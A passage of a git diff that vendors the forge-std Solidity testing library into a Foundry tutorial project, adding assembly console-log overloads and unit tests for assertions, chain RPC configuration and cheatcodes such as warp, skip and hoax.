+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,bool,string)`.
+            mstore(0x00, 0x5e84b0ea)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,uint256,address)`.
+            mstore(0x00, 0x1023f7b2)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,uint256,bool)`.
+            mstore(0x00, 0xc3a8a654)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,uint256,uint256)`.
+            mstore(0x00, 0xf45d7d2c)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,uint256,string)`.
+            mstore(0x00, 0x5d1a971a)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,string,address)`.
+            mstore(0x00, 0x6d572f44)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, 0x100)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p2)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,string,bool)`.
+            mstore(0x00, 0x2c1754ed)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, 0x100)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p2)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,string,uint256)`.
+            mstore(0x00, 0x8eafb02b)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, 0x100)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p2)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        bytes32 m11;
+        bytes32 m12;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            m11 := mload(0x160)
+            m12 := mload(0x180)
+            // Selector of `log(string,string,string,string)`.
+            mstore(0x00, 0xde68f20a)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, 0x100)
+            mstore(0x80, 0x140)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p2)
+            writeString(0x160, p3)
+        }
+        _sendLogPayload(0x1c, 0x184);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+            mstore(0x160, m11)
+            mstore(0x180, m12)
+        }
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/StdAssertions.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/StdAssertions.t.sol
new file mode 100644
index 000000000..6c7f0f717
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/StdAssertions.t.sol
@@ -0,0 +1,131 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/StdAssertions.sol';
+import {Vm} from '../src/Vm.sol';
+
+interface VmInternal is Vm {
+    function _expectCheatcodeRevert(bytes memory message) external;
+}
+
+contract StdAssertionsTest is StdAssertions {
+    string constant errorMessage = 'User provided message';
+    uint256 constant maxDecimals = 77;
+
+    bool constant SHOULD_REVERT = true;
+    bool constant SHOULD_RETURN = false;
+
+    bool constant STRICT_REVERT_DATA = true;
+    bool constant NON_STRICT_REVERT_DATA = false;
+
+    VmInternal constant vm = VmInternal(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    function testFuzz_AssertEqCall_Return_Pass(
+        bytes memory callDataA,
+        bytes memory callDataB,
+        bytes memory returnData,
+        bool strictRevertData
+    ) external {
+        address targetA = address(new TestMockCall(returnData, SHOULD_RETURN));
+        address targetB = address(new TestMockCall(returnData, SHOULD_RETURN));
+
+        assertEqCall(targetA, callDataA, targetB, callDataB, strictRevertData);
+    }
+
+    function testFuzz_RevertWhenCalled_AssertEqCall_Return_Fail(
+        bytes memory callDataA,
+        bytes memory callDataB,
+        bytes memory returnDataA,
+        bytes memory returnDataB,
+        bool strictRevertData
+    ) external {
+        vm.assume(keccak256(returnDataA) != keccak256(returnDataB));
+
+        address targetA = address(new TestMockCall(returnDataA, SHOULD_RETURN));
+        address targetB = address(new TestMockCall(returnDataB, SHOULD_RETURN));
+
+        vm._expectCheatcodeRevert(
+            bytes(string.concat('Call return data does not match: ', vm.toString(returnDataA), ' != ', vm.toString(returnDataB)))
+        );
+        assertEqCall(targetA, callDataA, targetB, callDataB, strictRevertData);
+    }
+
+    function testFuzz_AssertEqCall_Revert_Pass(
+        bytes memory callDataA,
+        bytes memory callDataB,
+        bytes memory revertDataA,
+        bytes memory revertDataB
+    ) external {
+        address targetA = address(new TestMockCall(revertDataA, SHOULD_REVERT));
+        address targetB = address(new TestMockCall(revertDataB, SHOULD_REVERT));
+
+        assertEqCall(targetA, callDataA, targetB, callDataB, NON_STRICT_REVERT_DATA);
+    }
+
+    function testFuzz_RevertWhenCalled_AssertEqCall_Revert_Fail(
+        bytes memory callDataA,
+        bytes memory callDataB,
+        bytes memory revertDataA,
+        bytes memory revertDataB
+    ) external {
+        vm.assume(keccak256(revertDataA) != keccak256(revertDataB));
+
+        address targetA = address(new TestMockCall(revertDataA, SHOULD_REVERT));
+        address targetB = address(new TestMockCall(revertDataB, SHOULD_REVERT));
+
+        vm._expectCheatcodeRevert(
+            bytes(string.concat('Call revert data does not match: ', vm.toString(revertDataA), ' != ', vm.toString(revertDataB)))
+        );
+        assertEqCall(targetA, callDataA, targetB, callDataB, STRICT_REVERT_DATA);
+    }
+
+    function testFuzz_RevertWhenCalled_AssertEqCall_Fail(
+        bytes memory callDataA,
+        bytes memory callDataB,
+        bytes memory returnDataA,
+        bytes memory returnDataB,
+        bool strictRevertData
+    ) external {
+        address targetA = address(new TestMockCall(returnDataA, SHOULD_RETURN));
+        address targetB = address(new TestMockCall(returnDataB, SHOULD_REVERT));
+
+        vm.expectRevert(bytes('assertion failed'));
+        this.assertEqCallExternal(targetA, callDataA, targetB, callDataB, strictRevertData);
+
+        vm.expectRevert(bytes('assertion failed'));
+        this.assertEqCallExternal(targetB, callDataB, targetA, callDataA, strictRevertData);
+    }
+
+    // Helper function to test outcome of assertEqCall via `expect` cheatcodes
+    function assertEqCallExternal(address targetA, bytes memory callDataA, address targetB, bytes memory callDataB, bool strictRevertData) public {
+        assertEqCall(targetA, callDataA, targetB, callDataB, strictRevertData);
+    }
+
+    function testFailFail() public {
+        fail();
+    }
+}
+
+contract TestMockCall {
+    bytes returnData;
+    bool shouldRevert;
+
+    constructor(bytes memory returnData_, bool shouldRevert_) {
+        returnData = returnData_;
+        shouldRevert = shouldRevert_;
+    }
+
+    fallback() external payable {
+        bytes memory returnData_ = returnData;
+
+        if (shouldRevert) {
+            assembly {
+                revert(add(returnData_, 0x20), mload(returnData_))
+            }
+        } else {
+            assembly {
+                return(add(returnData_, 0x20), mload(returnData_))
+            }
+        }
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/StdChains.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/StdChains.t.sol
new file mode 100644
index 000000000..37dfd36f2
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/StdChains.t.sol
@@ -0,0 +1,221 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/Test.sol';
+
+contract StdChainsMock is Test {
+    function exposed_getChain(string memory chainAlias) public returns (Chain memory) {
+        return getChain(chainAlias);
+    }
+
+    function exposed_getChain(uint256 chainId) public returns (Chain memory) {
+        return getChain(chainId);
+    }
+
+    function exposed_setChain(string memory chainAlias, ChainData memory chainData) public {
+        setChain(chainAlias, chainData);
+    }
+
+    function exposed_setFallbackToDefaultRpcUrls(bool useDefault) public {
+        setFallbackToDefaultRpcUrls(useDefault);
+    }
+}
+
+contract StdChainsTest is Test {
+    function test_ChainRpcInitialization() public {
+        // RPCs specified in `foundry.toml` should be updated.
+        assertEq(getChain(1).rpcUrl, 'https://eth-mainnet.alchemyapi.io/v2/WV407BEiBmjNJfKo9Uo_55u0z0ITyCOX');
+        assertEq(getChain('optimism_sepolia').rpcUrl, 'https://sepolia.optimism.io/');
+        assertEq(getChain('arbitrum_one_sepolia').rpcUrl, 'https://sepolia-rollup.arbitrum.io/rpc/');
+
+        // Environment variables should be the next fallback
+        assertEq(getChain('arbitrum_nova').rpcUrl, 'https://nova.arbitrum.io/rpc');
+        vm.setEnv('ARBITRUM_NOVA_RPC_URL', 'myoverride');
+        assertEq(getChain('arbitrum_nova').rpcUrl, 'myoverride');
+        vm.setEnv('ARBITRUM_NOVA_RPC_URL', 'https://nova.arbitrum.io/rpc');
+
+        // Cannot override RPCs defined in `foundry.toml`
+        vm.setEnv('MAINNET_RPC_URL', 'myoverride2');
+        assertEq(getChain('mainnet').rpcUrl, 'https://eth-mainnet.alchemyapi.io/v2/WV407BEiBmjNJfKo9Uo_55u0z0ITyCOX');
+
+        // Other RPCs should remain unchanged.
+        assertEq(getChain(31337).rpcUrl, 'http://127.0.0.1:8545');
+        assertEq(getChain('sepolia').rpcUrl, 'https://sepolia.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001');
+    }
+
+    // Named with a leading underscore to clarify this is not intended to be run as a normal test,
+    // and is intended to be used in the below `test_Rpcs` test.
+    function _testRpc(string memory rpcAlias) internal {
+        string memory rpcUrl = getChain(rpcAlias).rpcUrl;
+        vm.createSelectFork(rpcUrl);
+    }
+
+    // Ensure we can connect to the default RPC URL for each chain.
+    // Currently commented out since this is slow and public RPCs are flaky, often resulting in failing CI.
+    // function test_Rpcs() public {
+    //     _testRpc("mainnet");
+    //     _testRpc("sepolia");
+    //     _testRpc("holesky");
+    //     _testRpc("optimism");
+    //     _testRpc("optimism_sepolia");
+    //     _testRpc("arbitrum_one");
+    //     _testRpc("arbitrum_one_sepolia");
+    //     _testRpc("arbitrum_nova");
+    //     _testRpc("polygon");
+    //     _testRpc("polygon_mumbai");
+    //     _testRpc("avalanche");
+    //     _testRpc("avalanche_fuji");
+    //     _testRpc("bnb_smart_chain");
+    //     _testRpc("bnb_smart_chain_testnet");
+    //     _testRpc("gnosis_chain");
+    //     _testRpc("moonbeam");
+    //     _testRpc("moonriver");
+    //     _testRpc("moonbase");
+    //     _testRpc("base_sepolia");
+    //     _testRpc("base");
+    //     _testRpc("fraxtal");
+    //     _testRpc("fraxtal_testnet");
+    // }
+
+    function test_ChainNoDefault() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains getChain(string): Chain with alias "does_not_exist" not found.');
+        stdChainsMock.exposed_getChain('does_not_exist');
+    }
+
+    function test_SetChainFirstFails() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains setChain(string,ChainData): Chain ID 31337 already used by "anvil".');
+        stdChainsMock.exposed_setChain('anvil2', ChainData('Anvil', 31337, 'URL'));
+    }
+
+    function test_ChainBubbleUp() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        stdChainsMock.exposed_setChain('needs_undefined_env_var', ChainData('', 123456789, ''));
+        vm.expectRevert(
+            'Failed to resolve env var `UNDEFINED_RPC_URL_PLACEHOLDER` in `${UNDEFINED_RPC_URL_PLACEHOLDER}`: environment variable not found'
+        );
+        stdChainsMock.exposed_getChain('needs_undefined_env_var');
+    }
+
+    function test_CannotSetChain_ChainIdExists() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        stdChainsMock.exposed_setChain('custom_chain', ChainData('Custom Chain', 123456789, 'https://custom.chain/'));
+
+        vm.expectRevert('StdChains setChain(string,ChainData): Chain ID 123456789 already used by "custom_chain".');
+
+        stdChainsMock.exposed_setChain('another_custom_chain', ChainData('', 123456789, ''));
+    }
+
+    function test_SetChain() public {
+        setChain('custom_chain', ChainData('Custom Chain', 123456789, 'https://custom.chain/'));
+        Chain memory customChain = getChain('custom_chain');
+        assertEq(customChain.name, 'Custom Chain');
+        assertEq(customChain.chainId, 123456789);
+        assertEq(customChain.chainAlias, 'custom_chain');
+        assertEq(customChain.rpcUrl, 'https://custom.chain/');
+        Chain memory chainById = getChain(123456789);
+        assertEq(chainById.name, customChain.name);
+        assertEq(chainById.chainId, customChain.chainId);
+        assertEq(chainById.chainAlias, customChain.chainAlias);
+        assertEq(chainById.rpcUrl, customChain.rpcUrl);
+        customChain.name = 'Another Custom Chain';
+        customChain.chainId = 987654321;
+        setChain('another_custom_chain', customChain);
+        Chain memory anotherCustomChain = getChain('another_custom_chain');
+        assertEq(anotherCustomChain.name, 'Another Custom Chain');
+        assertEq(anotherCustomChain.chainId, 987654321);
+        assertEq(anotherCustomChain.chainAlias, 'another_custom_chain');
+        assertEq(anotherCustomChain.rpcUrl, 'https://custom.chain/');
+        // Verify the first chain data was not overwritten
+        chainById = getChain(123456789);
+        assertEq(chainById.name, 'Custom Chain');
+        assertEq(chainById.chainId, 123456789);
+    }
+
+    function test_SetNoEmptyAlias() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains setChain(string,ChainData): Chain alias cannot be the empty string.');
+        stdChainsMock.exposed_setChain('', ChainData('', 123456789, ''));
+    }
+
+    function test_SetNoChainId0() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains setChain(string,ChainData): Chain ID cannot be 0.');
+        stdChainsMock.exposed_setChain('alias', ChainData('', 0, ''));
+    }
+
+    function test_GetNoChainId0() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains getChain(uint256): Chain ID cannot be 0.');
+        stdChainsMock.exposed_getChain(0);
+    }
+
+    function test_GetNoEmptyAlias() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains getChain(string): Chain alias cannot be the empty string.');
+        stdChainsMock.exposed_getChain('');
+    }
+
+    function test_ChainIdNotFound() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains getChain(string): Chain with alias "no_such_alias" not found.');
+        stdChainsMock.exposed_getChain('no_such_alias');
+    }
+
+    function test_ChainAliasNotFound() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        vm.expectRevert('StdChains getChain(uint256): Chain with ID 321 not found.');
+
+        stdChainsMock.exposed_getChain(321);
+    }
+
+    function test_SetChain_ExistingOne() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        setChain('custom_chain', ChainData('Custom Chain', 123456789, 'https://custom.chain/'));
+        assertEq(getChain(123456789).chainId, 123456789);
+
+        setChain('custom_chain', ChainData('Modified Chain', 999999999, 'https://modified.chain/'));
+        vm.expectRevert('StdChains getChain(uint256): Chain with ID 123456789 not found.');
+        stdChainsMock.exposed_getChain(123456789);
+
+        Chain memory modifiedChain = getChain(999999999);
+        assertEq(modifiedChain.name, 'Modified Chain');
+        assertEq(modifiedChain.chainId, 999999999);
+        assertEq(modifiedChain.rpcUrl, 'https://modified.chain/');
+    }
+
+    function test_DontUseDefaultRpcUrl() public {
+        // We deploy a mock to properly test the revert.
+        StdChainsMock stdChainsMock = new StdChainsMock();
+
+        // Should error if default RPCs flag is set to false.
+        stdChainsMock.exposed_setFallbackToDefaultRpcUrls(false);
+        vm.expectRevert();
+        stdChainsMock.exposed_getChain(31337);
+        vm.expectRevert();
+        stdChainsMock.exposed_getChain('sepolia');
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/StdCheats.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/StdCheats.t.sol
new file mode 100644
index 000000000..9dd07c0c4
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/StdCheats.t.sol
@@ -0,0 +1,616 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/StdCheats.sol';
+import '../src/Test.sol';
+import '../src/StdJson.sol';
+import '../src/StdToml.sol';
+import '../src/interfaces/IERC20.sol';
+
+contract StdCheatsTest is Test {
+    Bar test;
+
+    using stdJson for string;
+
+    function setUp() public {
+        test = new Bar();
+    }
+
+    function test_Skip() public {
+        vm.warp(100);
+        skip(25);
+        assertEq(block.timestamp, 125);
+    }
+
+    function test_Rewind() public {
+        vm.warp(100);
+        rewind(25);
+        assertEq(block.timestamp, 75);
+    }
+
+    function test_Hoax() public {
+        hoax(address(1337));
+        test.bar{value: 100}(address(1337));
+    }
+
+    function test_HoaxOrigin() public {
+        hoax(address(1337), address(1337));
+        test.origin{value: 100}(address(1337));
+    }
+
+    function test_HoaxDifferentAddresses() public {
+        hoax(address(1337), address(7331));
+        test.origin{value: 100}(address(1337), address(7331));
+    }
+
+    function test_StartHoax() public {
+        startHoax(address(1337));
+        test.bar{value: 100}(address(1337));
+        test.bar{value: 100}(address(1337));
+        vm.stopPrank();
+        test.bar(address(this));
+    }
+
+    function test_StartHoaxOrigin() public {
+        startHoax(address(1337), address(1337));
+        test.origin{value: 100}(address(1337));
+        test.origin{value: 100}(address(1337));
+        vm.stopPrank();
+        test.bar(address(this));
+    }
+
+    function test_ChangePrankMsgSender() public {
